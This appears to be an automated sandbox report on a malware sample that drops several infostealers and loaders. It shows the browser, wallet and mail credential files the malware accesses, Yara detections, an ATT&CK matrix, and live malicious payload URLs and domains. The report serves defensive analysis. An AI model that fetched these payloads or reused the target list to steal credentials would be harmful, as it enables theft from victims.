Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Far.pif	Binary or memory string: WIN_81
Source: Far.pif	Binary or memory string: WIN_XP
Source: Far.pif	Binary or memory string: WIN_XPe
Source: Far.pif, 00000017.00000002.2986317642.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte(
Source: Far.pif	Binary or memory string: WIN_VISTA
Source: Far.pif	Binary or memory string: WIN_7
Source: Far.pif	Binary or memory string: WIN_8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU

Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5544, type: MEMORYSTR

Remote Access Functionality

Yara detected Eternity Stealer

Source: Yara match	File source: 30.0.E35F.exe.db8096.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.db8096.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E35F.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5544, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\E35F.exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected SmokeLoader

Source: Yara match	File source: 35.2.5390.exe.4c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.5390.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.5390.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2383099821.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match	File source: 25.0.9D1E.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9D1E.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D51A0 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		21_2_00007FF73D0D51A0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D4A6C socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		21_2_00007FF73D0D4A6C

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
2 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	12 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	Exfiltration Over Bluetooth	14 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Shared Modules	1 Registry Run Keys / Startup Folder	2 Valid Accounts	3 Obfuscated Files or Information	1 Credentials in Registry	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	11 Encrypted Channel			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	1 Exploitation for Client Execution	Login Hook	21 Access Token Manipulation	23 Software Packing	NTDS	169 System Information Discovery	Distributed Component Object Model	111 Input Capture	Traffic Duplication	11 Non-Standard Port			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	1 PowerShell	Network Logon Script	913 Process Injection	1 Timestomp	LSA Secrets	771 Security Software Discovery	SSH	12 Clipboard Data	Scheduled Transfer	1 Multi-hop Proxy			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	4 Non-Application Layer Protocol			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	125 Application Layer Protocol			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	221 Masquerading	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	2 Proxy			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Valid Accounts	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	361 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	11 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances
Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	913 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	Exfiltration Over Physical Medium	DNS			Resource Hijacking	DNS Server	Gather Victim Org Information
Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Exfiltration over USB	Proxy			Network Denial of Service	Virtual Private Server	Determine Physical Locations
Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Regsvr32	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Commonly Used Port	Internal Proxy			Direct Network Flood	Server	Business Relationships

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
987123.exe	46%	ReversingLabs	Win32.Trojan.Privateloader
987123.exe	48%	Virustotal		Browse
987123.exe	100%	Avira	HEUR/AGEN.1312567
987123.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\5390.exe	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	100%	Avira	HEUR/AGEN.1303617
C:\Users\user\AppData\Local\Temp\2DF.exe	100%	Avira	HEUR/AGEN.1309922
C:\Users\user\AppData\Local\Temp\FD8E.exe	100%	Avira	HEUR/AGEN.1305491
C:\Users\user\AppData\Local\Temp\1600.exe	100%	Avira	HEUR/AGEN.1332570
C:\Users\user\AppData\Local\Temp\E35F.exe	100%	Avira	HEUR/AGEN.1362350
C:\Users\user\AppData\Local\Temp\5390.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\35E5.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2DF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4577.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9D1E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FD8E.exe	100%	Joe Sandbox ML
C:\ProgramData\Drivers\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E35F.exe	100%	Joe Sandbox ML
C:\ProgramData\Drivers\csrss.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader
C:\ProgramData\Drivers\csrss.exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1600.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1600.exe	12%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	100%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	65%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\35E5.dll	61%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\35E5.dll	63%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\3BD2.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\3BD2.exe	3%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\4577.exe	70%	ReversingLabs	Win32.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\4577.exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\5390.exe	41%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\AppData\Local\Temp\5390.exe	46%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\9D1E.exe	27%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\FD8E.exe	96%	ReversingLabs	ByteCode-MSIL.Trojan.Smokeloader
C:\Users\user\AppData\Local\Temp\InstallSetup9.exe	91%	ReversingLabs	Win32.Downloader.Taily
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-9S7V0.tmp\1600.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp	4%	ReversingLabs
C:\Users\user\AppData\Roaming\ufhjbuw	46%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Roaming\wehjbuw	41%	ReversingLabs	Win32.Dropper.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
hugo.topteamlife.com	9%	Virustotal	Browse
gxutc2c.com	11%	Virustotal	Browse
ftpvoyager.cc	18%	Virustotal	Browse
selebration17io.io	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/EInvalidGlobalDataContractNamespace?DataContractNamespaceAlr	0%	Avira URL Cloud	safe
https://drownthinsaltroutese.pw/apiq2	0%	Avira URL Cloud	safe
goddirtybrilliancece.fun	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
http://5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe	100%	Avira URL Cloud	malware
blastechohackopeower.pw	100%	Avira URL Cloud	malware
https://drownthinsaltroutese.pw/	0%	Avira URL Cloud	safe
http://hugo.topteamlife.com/order/tuc5.exe	100%	Avira URL Cloud	malware
https://curl.se/docs/hsts.html	0%	Virustotal		Browse
blastechohackopeower.pw	5%	Virustotal		Browse
http://buriatiarutuhuob.net/index.php	0%	Avira URL Cloud	safe
http://ftpvoyager.cc/ftp/index.php	100%	Avira URL Cloud	malware
http://5.42.66.0/288c47bbc187111b439df19ff4df68f076.exe	20%	Virustotal		Browse
